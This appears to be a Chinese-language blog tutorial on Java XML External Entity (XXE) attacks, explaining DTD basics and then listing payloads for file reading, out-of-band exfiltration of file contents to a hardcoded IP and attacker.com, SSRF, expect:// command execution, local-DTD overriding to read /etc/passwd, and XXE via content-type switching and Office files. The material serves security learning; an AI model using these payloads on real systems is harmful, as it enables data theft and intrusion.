JAVA XXE 学习总结

视频教程在我主页简介或专栏里

目录:

JAVA XXE 学习总结

 XML 基础

 XXE 原理介绍

 XXE 攻击

  任意文件读取

  OOB XXE

  SSRF

  RCE

  基于报错回显

  利用本地 DTD 来利用盲目 XXE

  通过修改内容类型进行 XXE 攻击

  Excel文件导致XXE

JAVA XXE 学习总结

XML 基础

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

复制代码
<!--XML申明--><?xml version="1.0"?> <!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->]><!--文档元素--><note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body></note>

xxe漏洞只与DTD文档类型定义有关,下面开始只需要关注DTD即可。

DTD

DTD 用于定义 XML 文档格式的一种规范,它声明了 XML 文档中允许的元素、属性、层级结构,确保 XML 文档格式正确性。

DTD 又分为外部 DTD 和内部 DTD,

内部 DTD:直接嵌套在 XML 文档内部。

外部 DTD:储存在单独文档中,通过声明引用。

内部 DTD demo

复制代码
<?xml version="1.0"?><!DOCTYPE note [ <!ELEMENT note (to, from, heading, body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>

外部 DTD demo

复制代码
<!ELEMENT note (to, from, heading, body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>

通过文档声明引用,​​​​​​

复制代码
<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>

java 中的 xxe 漏洞主要出现在外部 DTD 中。接下来主要只关注外部 DTD。

因为引用外部 DTD 可以使用 SYSTEM 或 PUBLIC 标志符,语法和含义不同,不过都可以在XXE攻击中使用。

SYSTEM 定义

复制代码
<!DOCTYPE name SYSTEM "address.dtd" [...]>

system 属性可以是 dtd 也可以是 url 链接,

PUBLIC 定义

复制代码
<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">

XXE 原理介绍

XXE 全称是XML External Entity Injection,这里的 entity(实体) 就是 DTD body 中的一部分,然后这个 entity 也可以跟进位置分为 internal entity/external entity,

一般使用的就是外部实体,实列

复制代码
<!ENTITY name SYSTEM "URI/URL">

实体还可以分为参数实体,其可以通过 %& 进行引用,正是因为这些条件才使得我们能够进行实体注入。

XXE 攻击

不同平台支持的 xxe 协议

libxml2 PHP Java .NET
file file file file
http http https http
ftp ftp ftp https
php file ftp
compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher*
phar

任意文件读取

DOMXML

复制代码
package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML {  public static void main(String[] args) {  try {  DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();  DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();  Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml");  String textContent = document.getDocumentElement().getTextContent();  System.out.println(textContent);  } catch (Exception e) {  e.printStackTrace();  }  } }

test.xml

复制代码
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [  <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/flag.txt">  ]> <root>&xxe;</root>

java 中 file 协议还有列目录的功能(php 中则不行)

复制代码
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [  <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/">  ]> <root>&xxe;</root>

netdoc 协议和 file 协议功能一样

OOB XXE

用于没有回显进行外带数据,

DOMXML​​​​​​​

复制代码
package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML {  public static void main(String[] args) {  try {  DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();  DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();  Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml");  String textContent = document.getDocumentElement().getTextContent();  System.out.println(textContent);  } catch (Exception e) {  e.printStackTrace();  }  } }

test.dtd​​​​​​​

复制代码
<!ENTITY % file SYSTEM "./flag.txt"> <!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">

test.xml​​​​​​​

复制代码
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xdsec[  <!ENTITY % include SYSTEM "./test.dtd" >  %include;  %define_http;%send_http;  ]> <books></books>

这里最关键的是 dtd 中的第二句话,只有这样才能成功解析到 %file 内容,% 就是%的实体编码,防止冲突报错,而且只有外部 dtd 文件才允许实体里面套实体

复制代码
<!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">

或者​​​​​​​

复制代码
<!ENTITY % define_http "<!ENTITY send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">%define_http;然后利用&send_http;去引用

SSRF

可以探测内网端口或主机存活情况,同样可以用于 dnslog 验证。​​​​​​​

复制代码
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://192.168.116.1:90/" >]><xxe>&url;</xxe>

RCE

expect:// 是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。

Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。​​​​​​​

复制代码
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [  <!ENTITY url SYSTEM "expect://whoami" >  ]> <xxe>&url;</xxe>

基于报错回显

感觉利用面不是很大,一般 java 的报错是看不到的,有点像 python 的报错回显,需要特定条件才行。

test.xml​​​​​​​

复制代码
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/test.dtd"> %ext;]><message></message>

test.dtd​​​​​​​

复制代码
<!ENTITY % file SYSTEM "./flag.txt"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">%eval;%error;

利用本地 DTD 来利用盲目 XXE

看了上面的 oob xxe 已经知道内部 dtd 不允许直接把实体放入另一个实体中,这种操作只有在外部实体中才不会报错。但又需要这样才能二次解析获得 %file 的内容。

那么如果存在防火墙,不允许直接引入 http://example/test.dtd 又该怎么办呢,参考 Arseniy Sharoglazov 师傅的文章可以知道还可以利用本地 dtd 进行覆盖攻击。

比如本地存在 test.dtd:​​​​​​​

复制代码
<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>

那么可以构建 payload​​​​​​​

复制代码
<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file://test.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message>any text</message>

重新定义了 condition 参数的值会进行覆盖​​​​​​​

复制代码
'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb'

类比原本的 dtd 变为​​​​​​​

复制代码
<!ENTITY % condition "aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb"><!ELEMENT pattern (aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb)>

这样也能成功实现 xxe 报错回显,至于本地的 dtd 文件就搜集一些默认路径的进行爆破得到。

通过修改内容类型进行 XXE 攻击

正常的 post 请求​​​​​​​

复制代码
POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7
foo=bar

有些网站也支持 xml 格式,如 SOAP 协议网站,那么就可以等同于​​​​​​​

复制代码
POST /action HTTP/1.0Content-Type: application/xmlContent-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果存在就可以进行 xxe 攻击​​​​​​​

复制代码
POST /action HTTP/1.1 Content-Type: application/xml Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root></root><search>name</search><value>&xxe;</value> </root>

Excel文件导致XXE

excel 文件本质就是 XML 文档的 zip 文件,这里创建一个 docx 文件然后进行解压

看到是存在 xml 文件,并且也是会用 xml 解析器进行解析的。然后将其中的内容替换为 xxe 注入代码即可​​​​​​​

复制代码
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://DNSLOG/" >]><xxe>&url;</xxe>

当然这种是只有老版本的 xml 解析器才会有的洞了。

视频教程在我主页简介或专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
相关推荐
CIb0la几秒前
决策卫生问题:考公考编考研能补救高考选取职业的错误吗
学习·考研·生活·高考
GalaxyPokemon4 分钟前
Muduo网络库实现 [十六] - HttpServer模块
linux·运维·服务器·网络
海洋与大气科学4 分钟前
【matlab】地图上的小图
开发语言·数据库·matlab
Huazie5 分钟前
在WSL2 Ubuntu中部署FastDFS服务的完整指南
服务器·后端·ubuntu
霖檬ing7 分钟前
Linux——系统安全及应用
安全·系统安全
AORO_BEIDOU26 分钟前
北斗短报文终端与5G融合:构建空天地海一体化通信新生态
科技·5g·安全·智能手机·信息与通信
Samuel-Gyx27 分钟前
2025第十六届蓝桥杯python B组满分题解(详细)
python·职场和发展·蓝桥杯
半升酒28 分钟前
Day-1 漏洞攻击实战
安全·网络安全
Java知识库29 分钟前
Java BIO、NIO、AIO、Netty面试题(已整理全套PDF版本)
java·开发语言·jvm·面试·程序员
techdashen29 分钟前
性能比拼: Rust vs Zig vs Go
开发语言·golang·rust